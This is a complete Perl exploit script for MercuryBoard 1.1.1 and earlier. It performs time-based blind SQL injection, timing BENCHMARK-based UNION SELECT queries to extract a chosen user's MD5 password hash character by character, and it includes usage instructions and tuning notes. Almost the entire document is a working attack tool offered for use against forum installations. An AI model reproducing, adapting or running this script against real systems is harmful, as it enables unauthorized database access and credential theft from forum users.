#!/usr/bin/perl # # MercuryBoard <= 1.1.1 Blind Bruteforcer by Zeelock # # Version 1.0 - No Privileges in the forum are Needed; # Version 1.1 - LightingFast (Using Hires-Timing) (even 18 sec in localhost!); # Version 1.2 - Auto CHAR() encoding for the user_name string; # # Many Thanks to Pokleyzz and WarAxe # # Bug found by Alberto Trivero (www.codebug.org) # # ------------------------------------------------- # # This exploit works if tables names in the Database # are the default ones. If you deal with prefix_tables # you have to change $blindquery. Prefix is usually not difficult # to find cause debugging in MercuryBoard is enabled by # default and all errors are displayed. # # -------------------------------------------------- # # Nb. I suggest to tune $bench and $avground according server # performance and workload. $bench will slowdown the remote # processing with thousands of MD5 function. $avground is # an adjustement for the micro average time. # # $avground represents the server time for processing the # BENCHMARK() func. If you change $bench, you should change # $avground as well. # use IO::Socket; use Time::Hires; sub parse_url { local($url) = @_; if ($url =~ m#^(\w+):#) { $protocol = $1; $protocol =~ tr/A-Z/a-z/; } else { return undef; } if ($protocol eq "http") { if ($url =~ m#^\s*\w+://([\w-\.]+):?(\d*)([^ \t]*)$#) { $server = $1; $server =~ tr/A-Z/a-z/; $port = ($2 ne "" ? $2 : $http_port); $path = ( $3 ? $3 : '/'); return ($protocol, $server, $port, $path); } return undef; } } # -------------------------------------------------- # Defining Variables: $logfile = "mercurylog.txt"; @ascii = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); $url = $ARGV[0]; $prefix = $ARGV[1]; $username = $ARGV[2]; $goodtopic = 123; $http_port = 80; # -------------------------------------------------- # Tune the following parameters as described before. $bench =200000; $avground = 0.75; # -------------------------------------------------- if (@ARGV < 3) { &tips; } @targ = parse_url($url); print q( ======================================================== | | | Let's calculate Average Page Generation Time... | | | =================== Made by Zeelock ==================== ); for($cnt=0;$cnt<25;$cnt++) { MakeGetRequest($targ[1], $targ[2], $targ[3]); $sum += $testgen; } $avgtime = ($sum / 25); $logline = "Average generation time --> " . $avgtime . "sec " ; print $logline . "\n"; Writelogline($logline); $md5hash = ""; foreach $char (split //, $username) { $charstr .= ord($char).","; } substr($charstr,-1,1) = "%20"; for($nr=1;$nr<33;$nr++) { for($cnt=0;$cnt<16;$cnt++) { $charn = ord(@ascii[$cnt]); $logline = "| "; print $logline . "\n"; Writelogline($logline); $logline = "| Position --> " . $nr . " Char --> " . @ascii[$cnt]; print $logline . "\n"; Writelogline($logline); #--------------------------------------------------------------- # Nb. # If You have a prefix for the tables or if you want to retrieve # different content you have mainly to change the following query. # $blindquery = "a=post&s=reply&t=". $goodtopic ."%20UNION%20SELECT%20IF". "(SUBSTRING(user_password,". $nr .",1)%20=%20CHAR(" . $charn ."),". "BENCHMARK(". $bench .",MD5(CHAR(1))),null),null,null,null,null%20FROM%20" . $prefix."_users%20WHERE%20user_name%20=%20CHAR(".$charstr.")%20LIMIT%201/*"; MakeGetRequest($targ[1], $targ[2], $targ[3], $blindquery); $logline = "| "; print $logline . "\n"; Writelogline($logline); $logline = "| Generation Time --> " . $testgen . " sec"; print $logline . "\n"; Writelogline($logline); if(($testgen) > ($avgtime + $avground)) { $md5hash .= @ascii[$cnt]; $logline = "| ". "\n"; print $logline . "\n"; Writelogline($logline); $logline = " >>---> Current MD5 >>---> " . $md5hash . "\n"; print $logline . "\n"; Writelogline($logline); $cnt = 17; $break; } } } $logline = "| "; print $logline . "\n"; Writelogline($logline); $logline = " ---> Final MD5 --> " . $md5hash; print $logline . "\n"; Writelogline($logline); exit(); sub MakeGetRequest() { $testinitial = Time::HiRes::time(); $socket = IO::Socket::INET->new(PeerAddr => $targ[1], PeerPort => $targ[2], Proto => "tcp", Type => SOCK_STREAM) or die "Couldnt connect to $targ[1]:$targ[2] : $@\n"; $str = "GET " . $targ[3] ."?". $blindquery . " HTTP/1.0\r\n"; print $socket $str; print $socket "Host: $targ[1]:$targ[2]\r\n\r\n"; $buff = ""; while ($answer = <$socket>) { $wait .= $answer; } close($socket); $testtfinal = Time::HiRes::time(); $testgen = ($testtfinal - $testinitial); return($testgen); } # -------------------------------------------------- # A simple Log-Writer: sub Writelogline($) { $logline=$_[0]; $writeline = $logline . "\n"; open (LOG, ">>$logfile") || die "Can't open $logfile\n"; print LOG $writeline; close LOG; } sub tips() { print q( ======================================================== | | | MercuryBoard <= 1.1.1 Fast Blind BruteForcer | | | | mb111-zk.pl | | | ======================================================== | | | Ex.: mb111-zk.pl http://127.0.0.1/index.php mb Admin | | | =================== Made by Zeelock ==================== ); exit(); }